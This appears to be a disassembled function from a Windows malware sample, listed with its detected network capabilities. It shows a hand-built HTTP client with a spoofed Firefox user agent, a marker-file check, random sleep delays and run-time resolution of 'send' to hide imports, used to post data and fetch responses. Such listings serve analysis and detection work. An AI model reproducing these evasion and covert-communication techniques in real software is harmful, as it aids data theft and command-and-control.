Function at 0x401861
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x314e8
call fcn.00409a50
push ebx
push esi
push edi
push 0x40d020
push str.1fk5465454gf.tmp
call dword [sym.imp.MSVCRT.dll_fopen]
pop ecx
test eax, eax
pop ecx
jne 0x401d58
mov edi, dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
call edi
push 0xa
xor edx, edx
pop ebx
mov esi, dword [sym.imp.KERNEL32.DLL_Sleep]
mov ecx, ebx
div ecx
push edx
call esi
lea eax, [ebp - 0x7a8]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
call edi
xor edx, edx
mov ecx, ebx
div ecx
push edx
call esi
call dword [sym.imp.KERNEL32.DLL_GetCurrentThreadId]
push 0x14
xor edx, edx
pop ecx
div ecx
push edx
call esi
push 1
call esi
push 1
call esi
call edi
xor edx, edx
mov ecx, ebx
div ecx
push edx
call esi
push 0x10
lea eax, [ebp - 0x24]
push 0
push eax
call sub.MSVCRT.dll_memset
push 0x10
lea eax, [ebp - 0x14]
push 0
push eax
call sub.MSVCRT.dll_memset
and dword [ebp - 0x20], 0
add esp, 0x18
mov word [ebp - 0x24], 2
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
mov dword [ebp - 4], eax
je 0x4019bd
push 0x50
mov word [ebp - 0x14], 2
call dword [sym.imp.WS2_32.dll_htons]
push 1
mov word [ebp - 0x12], ax
call esi
mov eax, dword [ebp - 4]
push 0
push 1
push 2
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x10], eax
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
je 0x4019bd
call edi
xor edx, edx
mov ecx, ebx
div ecx
push edx
call esi
lea eax, [ebp - 0x24]
push 0x10
push eax
push dword [ebp - 4]
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x401995
push dword [ebp - 4]
call dword [sym.imp.WS2_32.dll_closesocket]
call edi
xor edx, edx
mov ecx, ebx
div ecx
push edx
call esi
call edi
xor edx, edx
div ebx
push edx
call esi
jmp 0x4019bd
call edi
xor edx, edx
mov ecx, ebx
div ecx
push edx
call esi
lea eax, [ebp - 0x14]
push 0x10
push eax
push dword [ebp - 4]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x4019c5
push dword [ebp - 4]
call dword [sym.imp.WS2_32.dll_closesocket]
or eax, 0xffffffff
jmp 0x401d5a
call edi
xor edx, edx
mov ecx, ebx
div ecx
push edx
call esi
call edi
xor edx, edx
mov ecx, ebx
div ecx
push edx
call esi
lea eax, [ebp - 0x488]
push 0x40de18
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
call edi
xor edx, edx
mov ecx, ebx
div ecx
push edx
call esi
push dword [ebp + 0x20]
lea eax, [ebp - 0x488]
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
call edi
xor edx, edx
mov ecx, ebx
div ecx
push edx
call esi
lea eax, [ebp - 0x488]
push 0x40d2bc
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
call edi
xor edx, edx
mov ecx, ebx
div ecx
push edx
call esi
push dword [ebp + 0x14]
lea eax, [ebp - 0x488]
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
call edi
xor edx, edx
mov ecx, ebx
div ecx
push edx
call esi
lea eax, [ebp - 0x488]
push str._HTTP
push eax
call sub.MSVCRT.dll_strcat
push 0
call dword [sym.imp.MSVCRT.dll_time]
add esp, 0xc
cdq
push 0x3c
pop ecx
idiv ecx
push edx
call esi
lea eax, [ebp - 0x488]
push str._1.0_r_nHost:
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
call edi
xor edx, edx
div ebx
push edx
call esi
push dword [ebp + 8]
lea eax, [ebp - 0x488]
push eax
call sub.MSVCRT.dll_strcat
pop ecx
lea eax, [ebp - 0x618]
pop ecx
push str.ows_NT_5.2__ru__r
push str.a_5.01__Windows__U__Wi
push str.r_Agent:_Moz
push str.Use_sill_snd_sv:1.9.0.1__Gecko_20050104_Firefox_3.0.2
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
mov ebx, 0x40d22c
lea eax, [ebp - 0x488]
push ebx
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x1c
call edi
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call esi
lea eax, [ebp - 0x618]
push eax
lea eax, [ebp - 0x488]
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x488]
push ebx
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
call edi
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call esi
push dword [ebp + 0x24]
lea eax, [ebp - 0x488]
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x488]
push str.Connec
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
call edi
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call esi
lea eax, [ebp - 0x488]
push str.tion:_close
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x488]
push ebx
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
call edi
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call esi
push str.POST
push dword [ebp + 0x20]
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
jne 0x401bd2
lea eax, [ebp - 0x488]
push 0x40d214
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x488]
push str.tent_Length:
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
call edi
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call esi
push dword [ebp + 0x10]
lea eax, [ebp - 0x488]
push eax
lea eax, [ebp - 0x488]
push str._s_ld_r_n
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
lea eax, [ebp - 0x488]
push ebx
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
call edi
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call esi
lea eax, [ebp - 0x88]
push str.sendx56546xx
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
pop ecx
or ebx, 0xffffffff
pop ecx
push str.send
push str.ws2_32.dll
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp + 8], eax
lea eax, [ebp - 0x88]
push eax
call sub.MSVCRT.dll_strlen
cmp eax, 4
pop ecx
jbe 0x401c4f
lea eax, [ebp - 0x488]
push 0
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0x488]
push eax
push dword [ebp - 4]
call dword [ebp + 8]
mov ebx, eax
lea eax, [ebx + 0x64]
push eax
call esi
call edi
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call esi
test ebx, ebx
jle 0x401c9b
xor ebx, ebx
cmp dword [ebp + 0x10], ebx
jbe 0x401c9b
lea ecx, [ebx + 0x2800]
mov eax, 0x2800
cmp ecx, dword [ebp + 0x10]
jbe 0x401c81
mov eax, dword [ebp + 0x10]
sub eax, ebx
push 0
push eax
mov eax, dword [ebp + 0xc]
add eax, ebx
push eax
push dword [ebp - 4]
call dword [ebp + 8]
add ebx, eax
test eax, eax
jle 0x401c9b
cmp ebx, dword [ebp + 0x10]
jb 0x401c6c
call edi
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call esi
mov ebx, 0x30d40
lea eax, [ebp - 0x314e8]
push ebx
push 5
push eax
call sub.MSVCRT.dll_memset
push ebx
xor ebx, ebx
lea eax, [ebp - 0x314e8]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
cmp dword [ebp + 0x18], ebx
je 0x401cdc
mov eax, dword [ebp + 0x1c]
cmp eax, ebx
je 0x401cdc
mov dword [eax], ebx
lea eax, [ebp - 0x314e8]
push ebx
mov ebx, dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp + 0x10], eax
lea eax, [ebp - 0x314e8]
push 0x400
push eax
push dword [ebp - 4]
call ebx
test eax, eax
jle 0x401d22
add dword [ebp + 0x10], eax
cmp dword [ebp + 0x18], 0
je 0x401d13
mov ecx, dword [ebp + 0x1c]
test ecx, ecx
je 0x401d13
add dword [ecx], eax
push 0
push 0x400
push dword [ebp + 0x10]
push dword [ebp - 4]
jmp 0x401cfb
call edi
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call esi
push dword [ebp - 4]
call dword [sym.imp.WS2_32.dll_closesocket]
cmp dword [ebp + 0x18], 0
je 0x401d58
mov eax, dword [ebp + 0x1c]
test eax, eax
je 0x401d58
push dword [eax]
lea eax, [ebp - 0x314e8]
push eax
push dword [ebp + 0x18]
call sub.MSVCRT.dll_memcpy
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 0x20